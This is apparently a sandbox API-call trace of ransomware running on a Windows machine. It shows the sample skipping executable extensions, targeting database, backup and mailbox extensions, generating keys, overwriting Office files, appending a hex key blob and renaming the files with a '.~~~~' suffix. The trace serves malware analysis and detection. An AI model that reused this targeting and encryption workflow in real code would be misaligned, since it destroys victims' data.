	[0136.923] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk.~~~~")) returned 1
	[0136.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce428 | out: hHeap=0x300000) returned 1
	[0136.926] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0136.926] GetLastError () returned 0x0
	[0136.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".scr") returned 0x0
	[0136.926] lstrlenW (lpString=".cmd") returned 4
	[0136.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".cmd") returned 0x0
	[0136.926] lstrlenW (lpString=".dll") returned 4
	[0136.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".dll") returned 0x0
	[0136.926] lstrlenW (lpString=".bat") returned 4
	[0136.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".bat") returned 0x0
	[0136.926] lstrlenW (lpString=".cpl") returned 4
	[0136.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".cpl") returned 0x0
	[0136.926] lstrlenW (lpString=".sys") returned 4
	[0136.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".sys") returned 0x0
	[0136.926] lstrlenW (lpString=".msc") returned 4
	[0136.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".msc") returned 0x0
	[0136.926] lstrlenW (lpString=".com") returned 4
	[0136.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".com") returned 0x0
	[0136.927] lstrlenW (lpString=".lnk") returned 4
	[0136.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".lnk") returned 0x0
	[0136.927] lstrlenW (lpString=".msp") returned 4
	[0136.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".msp") returned 0x0
	[0136.927] lstrlenW (lpString=".pif") returned 4
	[0136.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".pif") returned 0x0
	[0136.927] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.927] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch="msp\r\n.pif") returned 0x0
	[0136.927] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0136.929] lstrlenW (lpString=".sqb") returned 4
	[0136.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".sqb") returned 0x0
	[0136.929] lstrlenW (lpString=".ost") returned 4
	[0136.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".ost") returned 0x0
	[0136.929] lstrlenW (lpString=".txt") returned 4
	[0136.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".txt") returned 0x0
	[0136.929] lstrlenW (lpString=".mdt") returned 4
	[0136.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".mdt") returned 0x0
	[0136.929] lstrlenW (lpString=".BDB") returned 4
	[0136.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".BDB") returned 0x0
	[0136.930] lstrlenW (lpString=".eql") returned 4
	[0136.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".eql") returned 0x0
	[0136.930] lstrlenW (lpString=".DBF") returned 4
	[0136.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".DBF") returned 0x0
	[0136.930] lstrlenW (lpString=".EQL") returned 4
	[0136.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".EQL") returned 0x0
	[0136.930] lstrlenW (lpString=".FDB") returned 4
	[0136.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".FDB") returned 0x0
	[0136.930] lstrlenW (lpString=".EDB") returned 4
	[0136.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".EDB") returned 0x0
	[0136.930] lstrlenW (lpString=".DACPAC") returned 7
	[0136.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".DACPAC") returned 0x0
	[0136.930] lstrlenW (lpString=".VHD") returned 4
	[0136.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".VHD") returned 0x0
	[0136.930] lstrlenW (lpString=".DBV") returned 4
	[0136.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".DBV") returned 0x0
	[0136.930] lstrlenW (lpString=".dacpac") returned 7
	[0136.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".dacpac") returned 0x0
	[0136.930] lstrlenW (lpString=".sdf") returned 4
	[0136.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".sdf") returned 0x0
	[0136.930] lstrlenW (lpString=".accdb") returned 6
	[0136.930] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".accdb") returned 0x0
	[0136.931] lstrlenW (lpString=".DBX") returned 4
	[0136.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".DBX") returned 0x0
	[0136.931] lstrlenW (lpString=".MDT") returned 4
	[0136.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".MDT") returned 0x0
	[0136.931] lstrlenW (lpString=".SQB") returned 4
	[0136.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".SQB") returned 0x0
	[0136.931] lstrlenW (lpString=".vhd") returned 4
	[0136.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".vhd") returned 0x0
	[0136.931] lstrlenW (lpString=".bac") returned 4
	[0136.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".bac") returned 0x0
	[0136.931] lstrlenW (lpString=".mdf") returned 4
	[0136.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".mdf") returned 0x0
	[0136.931] lstrlenW (lpString=".BAK") returned 4
	[0136.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".BAK") returned 0x0
	[0136.931] lstrlenW (lpString=".BAC") returned 4
	[0136.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".BAC") returned 0x0
	[0136.931] lstrlenW (lpString=".dbs") returned 4
	[0136.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".dbs") returned 0x0
	[0136.931] lstrlenW (lpString=".vhdx") returned 5
	[0136.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".vhdx") returned 0x0
	[0136.931] lstrlenW (lpString=".NDF") returned 4
	[0136.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".NDF") returned 0x0
	[0136.931] lstrlenW (lpString=".dat") returned 4
	[0136.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".dat") returned 0x0
	[0136.931] lstrlenW (lpString=".DBS") returned 4
	[0136.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".DBS") returned 0x0
	[0136.932] lstrlenW (lpString=".CKP") returned 4
	[0136.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".CKP") returned 0x0
	[0136.932] lstrlenW (lpString=".edb") returned 4
	[0136.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".edb") returned 0x0
	[0136.932] lstrlenW (lpString=".PST") returned 4
	[0136.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".PST") returned 0x0
	[0136.932] lstrlenW (lpString=".dbf") returned 4
	[0136.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".dbf") returned 0x0
	[0136.932] lstrlenW (lpString=".SQL") returned 4
	[0136.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".SQL") returned 0x0
	[0136.932] lstrlenW (lpString=".pst") returned 4
	[0136.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".pst") returned 0x0
	[0136.932] lstrlenW (lpString=".dbv") returned 4
	[0136.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".dbv") returned 0x0
	[0136.932] lstrlenW (lpString=".SDF") returned 4
	[0136.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".SDF") returned 0x0
	[0136.933] lstrlenW (lpString=".dtxs") returned 5
	[0136.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".dtxs") returned 0x0
	[0136.933] lstrlenW (lpString=".db3") returned 4
	[0136.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".db3") returned 0x0
	[0136.933] lstrlenW (lpString=".OST") returned 4
	[0136.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".OST") returned 0x0
	[0136.933] lstrlenW (lpString=".dbx") returned 4
	[0136.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".dbx") returned 0x0
	[0136.933] lstrlenW (lpString=".DB3") returned 4
	[0136.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".DB3") returned 0x0
	[0136.933] lstrlenW (lpString=".DAT") returned 4
	[0136.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".DAT") returned 0x0
	[0136.933] lstrlenW (lpString=".VHDX") returned 5
	[0136.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".VHDX") returned 0x0
	[0136.933] lstrlenW (lpString=".ndf") returned 4
	[0136.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".ndf") returned 0x0
	[0136.933] lstrlenW (lpString=".DB") returned 3
	[0136.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".DB") returned 0x0
	[0136.933] lstrlenW (lpString=".sql") returned 4
	[0136.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".sql") returned 0x0
	[0136.933] lstrlenW (lpString=".MYD") returned 4
	[0136.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".MYD") returned 0x0
	[0136.933] lstrlenW (lpString=".DBT") returned 4
	[0136.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".DBT") returned 0x0
	[0136.933] lstrlenW (lpString=".ACCDB") returned 6
	[0136.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".ACCDB") returned 0x0
	[0136.933] lstrlenW (lpString=".fdb") returned 4
	[0136.933] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".fdb") returned 0x0
	[0136.933] lstrlenW (lpString=".bak") returned 4
	[0136.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".bak") returned 0x0
	[0136.934] lstrlenW (lpString=".myd") returned 4
	[0136.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".myd") returned 0x0
	[0136.934] lstrlenW (lpString=".DTXS") returned 5
	[0136.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".DTXS") returned 0x0
	[0136.934] lstrlenW (lpString=".ckp") returned 4
	[0136.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".ckp") returned 0x0
	[0136.934] lstrlenW (lpString=".dbt") returned 4
	[0136.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".dbt") returned 0x0
	[0136.934] lstrlenW (lpString=".db") returned 3
	[0136.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".db") returned 0x0
	[0136.934] lstrlenW (lpString=".TXT") returned 4
	[0136.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".TXT") returned 0x0
	[0136.934] lstrlenW (lpString=".MDF") returned 4
	[0136.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".MDF") returned 0x0
	[0136.934] lstrlenW (lpString=".bdb") returned 4
	[0136.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".bdb") returned 0x0
	[0136.934] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0136.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0136.934] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394f48) returned 1
	[0136.936] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0136.936] CryptReleaseContext (hProv=0x394f48, dwFlags=0x0) returned 1
	[0136.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0136.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0136.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0136.936] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25692602567) returned 1
	[0136.936] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbb104630, dwHighDateTime=0x1d60e1e)) 
	[0136.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0136.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0136.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0136.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4c10
	[0136.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4c10 | out: hHeap=0x300000) returned 1
	[0136.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0136.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc1b0
	[0136.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0136.937] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0136.937] GetLastError () returned 0x0
	[0136.937] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0136.937] GetLastError () returned 0x0
	[0137.102] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.102] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.102] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0137.103] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.103] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.165] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.165] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.165] CloseHandle (hObject=0x114) returned 1
	[0137.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc1b0
	[0137.165] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs.~~~~")) returned 1
	[0137.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc1b0 | out: hHeap=0x300000) returned 1
	[0137.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0137.385] GetLastError () returned 0x0
	[0137.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".scr") returned 0x0
	[0137.385] lstrlenW (lpString=".cmd") returned 4
	[0137.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".cmd") returned 0x0
	[0137.385] lstrlenW (lpString=".dll") returned 4
	[0137.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".dll") returned 0x0
	[0137.385] lstrlenW (lpString=".bat") returned 4
	[0137.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".bat") returned 0x0
	[0137.385] lstrlenW (lpString=".cpl") returned 4
	[0137.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".cpl") returned 0x0
	[0137.386] lstrlenW (lpString=".sys") returned 4
	[0137.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".sys") returned 0x0
	[0137.386] lstrlenW (lpString=".msc") returned 4
	[0137.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".msc") returned 0x0
	[0137.386] lstrlenW (lpString=".com") returned 4
	[0137.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".com") returned 0x0
	[0137.386] lstrlenW (lpString=".lnk") returned 4
	[0137.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".lnk") returned 0x0
	[0137.386] lstrlenW (lpString=".msp") returned 4
	[0137.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".msp") returned 0x0
	[0137.386] lstrlenW (lpString=".pif") returned 4
	[0137.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".pif") returned 0x0
	[0137.386] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.386] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch="msp\r\n.pif") returned 0x0
	[0137.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0137.388] lstrlenW (lpString=".sqb") returned 4
	[0137.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".sqb") returned 0x0
	[0137.388] lstrlenW (lpString=".ost") returned 4
	[0137.388] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".ost") returned 0x0
	[0137.388] lstrlenW (lpString=".txt") returned 4
	[0137.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".txt") returned 0x0
	[0137.389] lstrlenW (lpString=".mdt") returned 4
	[0137.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".mdt") returned 0x0
	[0137.389] lstrlenW (lpString=".BDB") returned 4
	[0137.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".BDB") returned 0x0
	[0137.389] lstrlenW (lpString=".eql") returned 4
	[0137.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".eql") returned 0x0
	[0137.389] lstrlenW (lpString=".DBF") returned 4
	[0137.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".DBF") returned 0x0
	[0137.389] lstrlenW (lpString=".EQL") returned 4
	[0137.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".EQL") returned 0x0
	[0137.389] lstrlenW (lpString=".FDB") returned 4
	[0137.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".FDB") returned 0x0
	[0137.389] lstrlenW (lpString=".EDB") returned 4
	[0137.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".EDB") returned 0x0
	[0137.389] lstrlenW (lpString=".DACPAC") returned 7
	[0137.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".DACPAC") returned 0x0
	[0137.389] lstrlenW (lpString=".VHD") returned 4
	[0137.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".VHD") returned 0x0
	[0137.389] lstrlenW (lpString=".DBV") returned 4
	[0137.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".DBV") returned 0x0
	[0137.389] lstrlenW (lpString=".dacpac") returned 7
	[0137.389] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.XLS", lpSrch=".dacpac") returned 0x0
	[0137.389] lstrlenW (lpString=".sdf") returned 4
